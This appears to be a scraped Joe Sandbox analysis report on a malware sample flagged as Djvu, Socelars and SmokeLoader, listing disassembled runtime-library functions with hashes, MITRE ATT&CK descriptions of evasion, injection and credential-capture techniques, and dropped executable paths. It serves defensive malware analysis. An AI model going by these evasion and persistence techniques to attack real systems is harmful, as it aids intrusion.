__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02F640AF
__allrem.LIBCMT ref: 02F640C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02F640E4
__allrem.LIBCMT ref: 02F640FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02F64119
__invoke_watson.LIBCMT ref: 02F6418A

Memory Dump Source

Source File: 0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2f40000_6D2B.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 39dc4db404839410dda32f7304360cf8527a13b93da661723c080b1dd69a4b04
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 4071EA72E00716AFE725AE79CC44B7AB3B9EF107A4F14417AE614E7681EB70D9408B90

Uniqueness

Uniqueness Score: -1.00%

Function 02F684AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 02F684B1
_free.LIBCMT ref: 02F684E2
_free.LIBCMT ref: 02F684F5
_free.LIBCMT ref: 02F68513
_free.LIBCMT ref: 02F68525
_free.LIBCMT ref: 02F68536
_free.LIBCMT ref: 02F68541
_free.LIBCMT ref: 02F68565
_free.LIBCMT ref: 02F68581
_free.LIBCMT ref: 02F68597
_free.LIBCMT ref: 02F685BF

Memory Dump Source

Source File: 0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2f40000_6D2B.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: 469659f51ea5743f39efbcaed602c2dc9ba7e9da15c0886392a1656a641c48ff
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: DF318231D00260DBCB616F54FC8896AB7A6EB143E4704862EEB09573B0CBB45DCDAE95

Uniqueness

Uniqueness Score: -1.00%

Function 02F8FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::exception::exception.LIBCMT ref: 02F8FC1F
__CxxThrowException@8.LIBCMT ref: 02F8FC34
std::exception::exception.LIBCMT ref: 02F8FC4D
__CxxThrowException@8.LIBCMT ref: 02F8FC62
std::regex_error::regex_error.LIBCPMT ref: 02F8FC74

Part of subcall function 02F8F914: std::exception::exception.LIBCMT ref: 02F8F92E

__CxxThrowException@8.LIBCMT ref: 02F8FC82
std::exception::exception.LIBCMT ref: 02F8FC9B
__CxxThrowException@8.LIBCMT ref: 02F8FCB0

Strings

leM, xrefs: 02F8FCA8

Memory Dump Source

Source File: 0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2f40000_6D2B.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$std::regex_error::regex_error
String ID: leM
API String ID: 2862078307-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 506c47551db09732613c91936ea8fca8f4fed005b49a7e8836d9e256197e54b2
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 0D11B679C0020DBBCF00FFA5D855CEEBBBDAA04784B408567AE1897641EB74A3488F94

Uniqueness

Uniqueness Score: -1.00%

Function 02F4F010 Relevance: 15.1, APIs: 10, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 02F4F01F

Part of subcall function 02F61602: __FF_MSGBANNER.LIBCMT ref: 02F61619
Part of subcall function 02F61602: __NMSG_WRITE.LIBCMT ref: 02F61620

_malloc.LIBCMT ref: 02F4F02B
_wprintf.LIBCMT ref: 02F4F03E
_free.LIBCMT ref: 02F4F044
_free.LIBCMT ref: 02F4F065
_malloc.LIBCMT ref: 02F4F06D
_sprintf.LIBCMT ref: 02F4F0C0
_wprintf.LIBCMT ref: 02F4F0D2
_wprintf.LIBCMT ref: 02F4F0DC
_free.LIBCMT ref: 02F4F0E5

Memory Dump Source

Source File: 0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2f40000_6D2B.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: d3df99edbeb42b9d9dc8f21fe48683e2dcd5fd0b4a4bb6dd5d65e3a792410f4e
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 891136B6A005603AC261A3B80C15FFF7BEDDF45782F0401AAFF8CD1280DB586A049BB1

Uniqueness

Uniqueness Score: -1.00%

Function 02F51960 Relevance: 13.6, APIs: 9, Instructions: 149
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__CxxThrowException@8.LIBCMT ref: 02F519C6
__CxxThrowException@8.LIBCMT ref: 02F519F1
__CxxThrowException@8.LIBCMT ref: 02F51A1A
__CxxThrowException@8.LIBCMT ref: 02F51A4B
_memset.LIBCMT ref: 02F51A6A
__CxxThrowException@8.LIBCMT ref: 02F51A90
_malloc.LIBCMT ref: 02F51AA0
_memset.LIBCMT ref: 02F51AAB
_sprintf.LIBCMT ref: 02F51ACE

Memory Dump Source

Source File: 0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2f40000_6D2B.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: f80f11f6967bcd9f7901293cf39c12386cfac42199f61423afa507eb8055da42
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 1F513D71D40219ABDB11DBA5DC85FEFBBB9FF04B84F100025FA09F6190E7746A058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 02F4F210 Relevance: 10.7, APIs: 7, Instructions: 165
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__CxxThrowException@8.LIBCMT ref: 02F4F284
__CxxThrowException@8.LIBCMT ref: 02F4F2AF
__CxxThrowException@8.LIBCMT ref: 02F4F2DE
__CxxThrowException@8.LIBCMT ref: 02F4F30F
_memset.LIBCMT ref: 02F4F32E
__CxxThrowException@8.LIBCMT ref: 02F4F354
_sprintf.LIBCMT ref: 02F4F373

Memory Dump Source

Source File: 0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2f40000_6D2B.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 0f0816d96b8170c6669f08685160edf376f15fbc6a073857a42854a32078497f
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 17514271D40209AAEF11DFE1DC46FFFBB79EB04744F104125FA05B6180DBB5AA058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 02F4F440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 02F4F4B7
__CxxThrowException@8.LIBCMT ref: 02F4F4E2
__CxxThrowException@8.LIBCMT ref: 02F4F504
__CxxThrowException@8.LIBCMT ref: 02F4F535
_memset.LIBCMT ref: 02F4F554
__CxxThrowException@8.LIBCMT ref: 02F4F57A
_sprintf.LIBCMT ref: 02F4F594

Memory Dump Source

Source File: 0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2f40000_6D2B.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 8a211ec6b03c57b5d47f567af27c0f2c8a8f16816cf814b51b64e4f7294bc434
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: C4513171D40209AADF21DFA5DD45FEFBBB9FB04744F100129FA05B6280DBB469058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 030066D9 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 030066DD

Part of subcall function 02F659BF: __calloc_crt.LIBCMT ref: 02F659E2
Part of subcall function 02F659BF: __initptd.LIBCMT ref: 02F65A04

__calloc_crt.LIBCMT ref: 03006700
__get_sys_err_msg.LIBCMT ref: 0300671E
__invoke_watson.LIBCMT ref: 0300673B
__get_sys_err_msg.LIBCMT ref: 0300676D
__invoke_watson.LIBCMT ref: 0300678B

Memory Dump Source

Source File: 0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2f40000_6D2B.jbxd

Yara matches

Similarity

API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
String ID:
API String ID: 4066021419-0
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: cda9f09b7875101d66213b11b8c099fe0aca164dfc0ae6545178939ee8957849
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 4A11B63560261C6BFB21B6299C04ABF73CFDF017A0F440466FE08EA281E663D91046A5

Uniqueness

Uniqueness Score: -1.00%

Function 02F62AD0 Relevance: 7.7, APIs: 5, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 02F62B2E
_memcpy_s.LIBCMT ref: 02F62BA0
__read_nolock.LIBCMT ref: 02F62BFE
__filbuf.LIBCMT ref: 02F62C21
_memset.LIBCMT ref: 02F62C65

Part of subcall function 02F65BA8: __getptd_noexit.LIBCMT ref: 02F65BA8

Memory Dump Source

Source File: 0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2f40000_6D2B.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: 015b1b9ea0504daf9547198735b03a8ac7cc5b3f52b152be27a8d8f72e2f2ee6
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: C7519F71E002079BDB298FB98C886BEB7B6EF403B4F148729EE35962D0D7719951CB40

Uniqueness

Uniqueness Score: -1.00%

Function 02F52670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 02F526DB
_memset.LIBCMT ref: 02F52A30
_memset.LIBCMT ref: 02F52AC0

Strings

D, xrefs: 02F52AC8

Memory Dump Source

Source File: 0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2f40000_6D2B.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 629413a1eca95a1cb31d55ec5a240798758763e7530824a4e7bff115bc303f26
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 72E15D71D00229ABDF24DBA0DD89FEEB7B8BF04344F14416AEB09E6190EB746A45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 02F4D8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 02F4D8EA

Strings

(, xrefs: 02F4DAE9
$, xrefs: 02F4DAE2
, xrefs: 02F4DADB

Memory Dump Source

Source File: 0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2f40000_6D2B.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: d851eebf9d52472afc54e9c0357678e72717e794ffe45a9b4cb9f208068d3bce
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 8091C071D002189BEF21CFA0CC59BEEBBB5AF05344F144069D605BB2C1DBB25A48CF65

Uniqueness

Uniqueness Score: -1.00%

Function 02F8FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 02F8FBF1
__CxxThrowException@8.LIBCMT ref: 02F8FC06

Strings

TeM, xrefs: 02F8FBFB, 02F8FBE7
TeM, xrefs: 02F8FBFE

Memory Dump Source

Source File: 0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2f40000_6D2B.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception
String ID: TeM$TeM
API String ID: 3728558374-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 471bcd542bad9629fa4d392f96e7193dbe01ee91cdfa15706561b50da0c2be83
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: B5D06775C0020CBBCB00EFA5D859CDEBBB9AA04744B008467AA1897241EA74A34D8F94

Uniqueness

Uniqueness Score: -1.00%

Function 02F4D0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 02F6197D: __wfsopen.LIBCMT ref: 02F61988

_fgetws.LIBCMT ref: 02F4D15C

Memory Dump Source

Source File: 0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2f40000_6D2B.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: afb32d83321aeb0a92b020e04bf878f19457a31d87ad1be3f875c5fcd4bab098
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 5991A372E002199BDF21DFA4CD457AEBBB5FF04388F140529EE15A7240EBB5AA04CB95

Uniqueness

Uniqueness Score: -1.00%

Function 02F4D540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 02F4D77E
_malloc.LIBCMT ref: 02F4D7B2
_malloc.LIBCMT ref: 02F4D7C1
_fprintf.LIBCMT ref: 02F4D815

Memory Dump Source

Source File: 0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2f40000_6D2B.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: 82938da48873da7daf35285f39905ae0c5945568650b2449a6ff5235da23a0d4
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 2BA15FB1C00249ABEF11EFE4CC49BEEBF76AF15344F140028D6057A291D7B65A48CFA6

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.
Tactics:	Persistence, Privilege Escalation
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Djvu

Threatname: Socelars

Threatname: SmokeLoader

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1E0A.tmp.txt

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8466.tmp.csv

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8AC.tmp.txt

C:\ProgramData\Microsoft\Windows\WER\Temp\WER948.tmp.csv

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBE43.tmp.txt

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCDA6.tmp.csv

C:\Users\user\AppData\Local\Temp\42BA.exe

C:\Users\user\AppData\Local\Temp\5449.exe

C:\Users\user\AppData\Local\Temp\6382.exe

C:\Users\user\AppData\Local\Temp\6D2B.exe

C:\Users\user\AppData\Local\Temp\9589.exe

Windows Analysis Report
file.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

